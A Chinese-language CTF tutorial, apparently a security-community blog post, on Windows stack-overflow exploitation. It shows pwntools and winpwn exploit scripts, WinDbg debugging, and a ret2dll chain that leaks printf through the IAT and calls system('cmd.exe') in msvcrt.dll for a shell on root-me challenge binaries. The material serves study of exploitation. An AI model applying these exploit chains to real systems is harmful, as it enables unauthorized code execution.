首发于:先知社区
上一节笔者学习了winpwn的用法,以及最基础的栈溢出利用用法和win pwn的保护机制的意思,这一节笔者学习了利用pwntools编写exp以及调试程序,也学习了ret2dll的利用手法
之前的文章链接:
win pwn初探(二) 这里需要Ex师傅的一个工具:Win Server ,这个就像搭建pwn题一样,把exe给映射到一个端口上
如上git clone之后即可使用,用法:.\win_server.exe ..\ch72\ch72.exe 1234
就可以把ch72.exe给映射到1234端口上,试着用nc连接一下,发现可以正常的执行程序
1 2 3 16 :15 :45 z1r0@z1r0deMacBook-Pro.local test nc 10.211 .55 .3 1234 a A
pwntools如下安装
接着就可以正常使用pwntools了,需要注意的是目前只支持remote
的用法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import *from time import sleepcontext.log_level = 'debug' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) r = remote('10.211.55.3' , 1234 ) p1 = b'a' * (0x14 + 4 ) p1 += p32(0x401000 ) r.sendline(p1) sleep(1 ) r.sendline('calc' ) r.interactive()
将上一节的exp改一下之后运行可以正常触发calc
在调试exp的时候花了很长时间,断点下在了main函数入口那里,以为会直接断在那里的。然后运行的时候发现断不了,就在网上找解决方法(srv,reload),心态快要爆炸后,问了一下Ex师傅,师傅看了一眼就知道问题出在了断点下的太前,已经执行过了,在gets后下了一个断点就成功的断下来了
首先在exp前面加上一个pause()使得程序停住,如下exp运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *from time import sleepcontext.log_level = 'debug' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) r = remote('10.211.55.3' , 1234 ) pause() p1 = b'a' * (0x14 + 4 ) p1 += p32(0x401000 ) r.sendline(p1) r.interactive()
然后利用windbg attach到程序上
在0x0401088
这里下一个断点,并且输入g,g就是程序运行到断点停住
1 2 0 :002 > bp 0x0401088 0 :002 > g
然后回到exp那里输入任意键,执行payload,此时windbg会断到断点这里
1 2 3 4 5 6 7 0 :002 > gBreakpoint 0 hit eax=00000012 ebx=00243000 ecx=00402732 edx=0041b 098 esi=0041b e28 edi=0041b e2c eip=00401088 esp=0019f e74 ebp=0019f e90 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0023 efl=00000202 ch72+0x1088 : 00401088 83 c408 add esp,8
在ebp这里减去0x20就可以看到输入了a(0x61)被转换成大写A(0x41),并且后面可以看到ebp被覆盖成了aaaa而返回地址被覆盖成了0x00401000
这个地址也就是后门地址
1 2 3 4 5 6 7 8 9 0 :000 > dc ebp - 0x20 0019f e70 00401088 0041b 01c 0019f e7c 41414141 ..@...A.|...AAAA0019f e80 41414141 41414141 41414141 00000010 AAAAAAAAAAAA....0019f e90 61616161 00401000 00000000 06e29668 aaaa..@.....h...0019f ea0 06e29690 8 abb39fd 00401347 00243000 .....9 ..G.@..0 $.0019f eb0 00243000 00000000 00401347 00243000 .0 $.....G.@..0 $.0019f ec0 0019f ea4 00000000 0019f ef8 00401 c60 ............`.@.0019f ed0 8 ae3509d 00000000 0019f ef0 762 ec038 .P..........8 ..v0019f ee0 00243000 00000000 00000000 00000000 .0 $.............
再次g就可以getshell,也可以单步调试-p
,下面是ret之后的,可以看到成功跑进后门里
1 2 3 4 5 6 0 :000 > peax=00000000 ebx=00363000 ecx=00402732 edx=0041b 098 esi=0041b e28 edi=0041b e2c eip=00401000 esp=0019f e98 ebp=61616161 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0023 efl=00000246 ch72+0x1000 : 00401000 55 push ebp
利用winpwn模块进行调试 winpwn调试和上面的区别是winpwn可以本地调试(对目前来说),在winpwn的官方文档里要求配置一个.winpwn到HOMEDIR 这个文件夹里面,不知道homedir是什么就可以用如下python运行一下
1 2 3 4 5 6 Python 3.10 .8 (tags/v3.10 .8 :aaaf517, Oct 11 2022 , 16 :50 :30 ) [MSC v.1933 64 bit (AMD64)] on win32 Type "help" , "copyright" , "credits" or "license" for more information. >>> import os >>> os.path.expanduser("~\\.winpwn" ) 'C:\\Users\\MAC\\.winpwn' >>>
然后写入如下配置
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 { "debugger" :{ "i386" : { "x64dbg" : "F:\\ctfTools\\debugTools\\x64debug\\release\\x32\\x32dbg.exe" , "gdb" : "F:\\ctfTools\\windows-gdb\\mingw-w64-686\\mingw32\\bin\\gdb.exe" , "windbg" : "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\windbg.exe" , "windbgx" : "C:\\Users\\byzero\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WinDbg_8wekyb3d8bbwe\\WinDbgX.exe" }, "amd64" : { "x64dbg" : "F:\\ctfTools\\debugTools\\x64debug\\release\\x64\\x64dbg.exe" , "gdb" : "F:\\ctfTools\\windows-gdb\\mingw-w64-64\\mingw64\\bin\\gdb64.exe" , "windbg" : "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\windbg.exe" , "windbgx" : "C:\\Users\\byzero\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WinDbg_8wekyb3d8bbwe\\WinDbgX.exe" } }, "debugger_init" : { "i386" : { "x64dbg" : "" , "gdb" : "" , "windbg" : ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x86\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;" , "windbgx" : ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x86\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;" }, "amd64" : { "x64dbg" : "" , "gdb" : "" , "windbg" : ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x64\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;" , "windbgx" : ".load E:\\ShareDir\\building\\bywin\\pykd_ext_2.0.0.24\\x64\\pykd.dll;!py -g E:\\ShareDir\\building\\bywin\\byinit.py;" } } }
目前只需要改第7行的代码,把之前下载的windbg.exe的位置填进去就好了
然后exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from winpwn import *from time import *context.arch='i386' file_name = './ch72.exe' li = lambda x : print ('\x1b[01;38;5;214m' + x + '\x1b[0m' ) ll = lambda x : print ('\x1b[01;38;5;1m' + x + '\x1b[0m' ) r = process(file_name) windbgx.attach(r) payload = 'a' * (0x14 + 4 ) payload += p32(0x401000 ) r.sendline(payload) r.interactive()
运行exp时windbg就会自动启动,再像上面pwntools那样下断点即可
ret2dll 这个攻击手法和ret2libc相似,用root-me PE32 - Stack buffer overflow avancé
这题来学习一下
题目地址 ,题目源码需要攻击成功之后才可以查看
在做这个题目前先理解一下什么是dll,DLL的全称是Dynamic Link Library,中文叫做“动态链接文件”,在Windows操作系统中,DLL对于程序执行是非常重要的,因为程序在执行的时候,必须链接到DLL文件,才能够正确地运行。而有些DLL文件可以被许多程序共用。因此, 程序设计人员可以利用DLL文件, 使程序不至于太过巨大。
这测试一下,写一个test.c
1 2 3 4 5 6 7 8 #include <stdio.h> #include <stdlib.h> int main (int argc, char ** argv) { printf ("hello wrold" ); system("pause" ); return 0 ; }
接着用进程资源管理器 这个工具查看test.exe的dll有哪些
看到了几个经常看见的dll,ntdll.dll
, kernel32.dll
, KernelBase.dll
, ucrtbase.dll
ntdll.dll:ntdll.dll是重要的Windows NT内核级文件。描述了windows本地NTAPI的接口。当Windows启动时,ntdll.dll就驻留在内存中特定的写保护区域,使别的程序无法占用这个内存区域。是Windows系统从ring3到ring0的入口,位于Kernel32.dll和user32.dll中的所有win32 API 最终都是调用ntdll.dll中的函数实现的。ntdll.dll中的函数使用SYSENTRY进入ring0,函数的实现实体在ring0中
kernel32.dll:kernel32.dll是非常重要的32位动态链接库文件,属于内核级文件。它控制着系统的内存管理、数据的输入输出操作和中断处理,当Windows启动时,kernel32.dll就驻留在内存中特定的写保护区域,使别的程序无法占用这个内存区域
KernelBase.dll:系统文件kernelbase.dll是存放在Windows系统文件夹中的重要文件,通常情况下是在安装操作系统过程中自动创建的,对于系统正常运行来说至关重要
ucrtbase.dll:在介绍ucrtbase.dll前先看一下msvcrt.dll是啥,msvcrt.dll是微软在windows操作系统中提供的C语言运行库执行文件(Microsoft Visual C Runtime Library),其中提供了printf,malloc,strcpy等C语言库函数的具体运行实现,这个和libc.so很像。ucrtbase.dll其实就是把msvcrt.dll
拆开了,主要的c运行时的代码放在了ucrtbase.dll
中
整个调用链如上
现在回到题目,ida反汇编之后如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 int __cdecl main (int argc, const char **argv, const char **envp) { FILE *v4; __main(); if ( argc <= 1 ) { fprintf (&__iob[2 ], "Usage: %s <filename>\n" , *argv); exit (1 ); } v4 = fopen(argv[1 ], "r" ); manage_file(v4, (char *)argv[1 ]); return 0 ; }
会把argv转入的filename通过fopen打开,传入到manage_file
函数中,跟进
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 int __usercall manage_file@<eax>(int a1@<eax>, FILE *Stream, char *FileName){ void *v3; int v4; int v5; int v6; char DstBuf[8192 ]; int FileHandle; unsigned int MaxCharCount; FILE *v11; v3 = alloca(a1); memset (DstBuf, 0 , sizeof (DstBuf)); v11 = Stream; printf ("File name: %s\n" , FileName); fseek(Stream, 0 , 2 ); MaxCharCount = ftell(Stream); rewind(Stream); printf ("File size: %d\n" , MaxCharCount); FileHandle = open(FileName, 0 ); read(FileHandle, DstBuf, MaxCharCount); close(FileHandle); v4 = count_chars(DstBuf); printf ("Alphanumerical chars: %d\n" , v4); v5 = count_words(DstBuf); printf ("Words: %d\n" , v5); v6 = count_lines(DstBuf); printf ("Lines: %d\n" , v6); printf ("File pointer: %p\n" , v11); return fclose(v11); }
首先会输出文件名,接着会把文件大小给输出,然后打开文件通过read将文件里面的内容输入到DstBuf
这个变量中,值得注意的是并没有对大小进行限制,导致栈溢出的发生,但是还有一个点是需要注意的,fclose(v11)这个v11直接栈溢出的话会被覆盖掉最后会导致失败,所以需要把v11先给泄露出来然后栈溢出的时候把v11还给覆盖成正常的pointer即可
所以先随便写一个文件然后运行一下输出一下File pointer
1 2 3 4 5 6 7 8 PS ch73> echo a > p1 PS ch73> .\ch73.exe p1 File name: p1 File size: 8 Alphanumerical chars: 1 Words: 1 Lines: 0 File pointer: 75E2 D660
拿到pointer
之后就可以构造第二个payload了,因为这个程序没有system函数,但是我们需要getshell所以不得不寻找system,在glibc pwn中,可以使用ret2libc的攻击手法,在win中通过上面的介绍msvcrt.dll
里提供了具体的实现,所以也是有ret2dll的攻击方法,原理和ret2libc差不多
在win中并没有plt和got表这个概念,但是DLL也用到了类似GOT的方法,称为导入地址数组 (Import Address Table,IAT ),IAT和GOT非常类似,IAT中表项对应本模块中用到的外部符号的真实地址,初始为空(也不算为空),在装载后由动态链接器更新为真实地址。在ida中可以看到位于.idata段中
plt其实可以看成下图的地址
接下来构造第二个payload,也就是输出printf的真实地址,exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from winpwn import *context.log_level = 'debug' printf_plt = 0x402974 printf_got = 0x406200 p1 = p32(0x75E2D660 ) * 2053 p1 += p32(0xdeadbeef ) p1 += p32(printf_plt) p1 += p32(0x004016E3 ) p1 += p32(printf_got) p1 = [ord (i) for i in p1] with open ('./p2' , 'wb+' ) as f: f.write(bytes (p1)) f.close()
运行之后最后那一串就是printf的真实地址,因为是argv这种参数,所以接收地址不是很好接收,winpwn自动化没有输出(很奇怪),所以笔者就用动态调试exp来获得printf的真实地址,这里笔者用的ida调试的
1 2 3 4 5 6 7 8 PS ch73> .\ch73.exe p2 File name: p2 File size: 8228 Alphanumerical chars: 2054 Words: 1 Lines: 0 File pointer: 75E2 D660 pV觰PW觰癢觰 Y觰PY觰€[觰File name: 兡[?垭壝岰?卲*@
在401825
这里下个断点然后,在debug里面选择本地,找到程序后Parameters里面放入p2也就是argv,然后开始调试
到断点那里,然后g搜索到406200
这个地址,这个里面就存放的是printf的真实地址
拿到printf真实的地址之后就需要算dll的base,在笔者的虚拟机里msvcrt.dll
是在C:\Windows\SyChpe32\msvcrt.dll
但是笔者在实机上测的时候这个程序的dll在 C:\WINDOWS\SysWOW64\msvcrt.dll
这里
把dll文件拖到ida中,搜索printf在dll里面的偏移算出dll_base,还有system以及cmd.exe的偏移并算出真实地址
1 2 3 4 5 6 printf_addr = 0x75D35670 dll_base = printf_addr - 0x10105670 system_addr = dll_base + 0x10105A70 cmd_addr = dll_base + 0x1010D158
最后再构造getshell的payload如下
1 2 3 4 5 6 7 8 9 10 11 12 p1 = p32(0x75E2D660 ) * 2053 p1 += p32(0xdeadbeef ) p1 += p32(system_addr) p1 += p32(0x004016E3 ) p1 += p32(cmd_addr) p1 = [ord (i) for i in p1] with open ('./p3' , 'wb+' ) as f: f.write(bytes (p1)) f.close()
运行即可getshell
1 2 3 4 5 6 7 8 9 PS ch73> .\ch73.exe p3 File name: p3 File size: 8228 Alphanumerical chars: 2056 Words: 1 Lines: 0 File pointer: 75E2 D660 Microsoft Windows [版本 10.0 .22000 .1219 ] (c) Microsoft Corporation。保留所有权利。
总结 这里笔者学习了IAT表和作用,还有argv参数的调试,坑点是msvcrt.dll
这个文件位置需要根着自己本机的程序来确定,笔者卡在这里一段时间,最后想了一下把程序在ida中调试了一下才发现msvcrt.dll
的位置和网上的wp有些不一样
Reference https://zhuanlan.zhihu.com/p/406236763
https://baike.baidu.com/item/ntdll.dll/10959419
https://xuanxuanblingbling.github.io/ctf/pwn/2020/07/09/winpwn/
https://www.polarxiong.com/archives/%E5%A6%82%E4%BD%95%E7%90%86%E8%A7%A3DLL%E4%B8%8D%E6%98%AF%E5%9C%B0%E5%9D%80%E6%97%A0%E5%85%B3%E7%9A%84-DLL%E4%B8%8EELF%E7%9A%84%E5%AF%B9%E6%AF%94%E5%88%86%E6%9E%90.html
https://www.anquanke.com/post/id/210394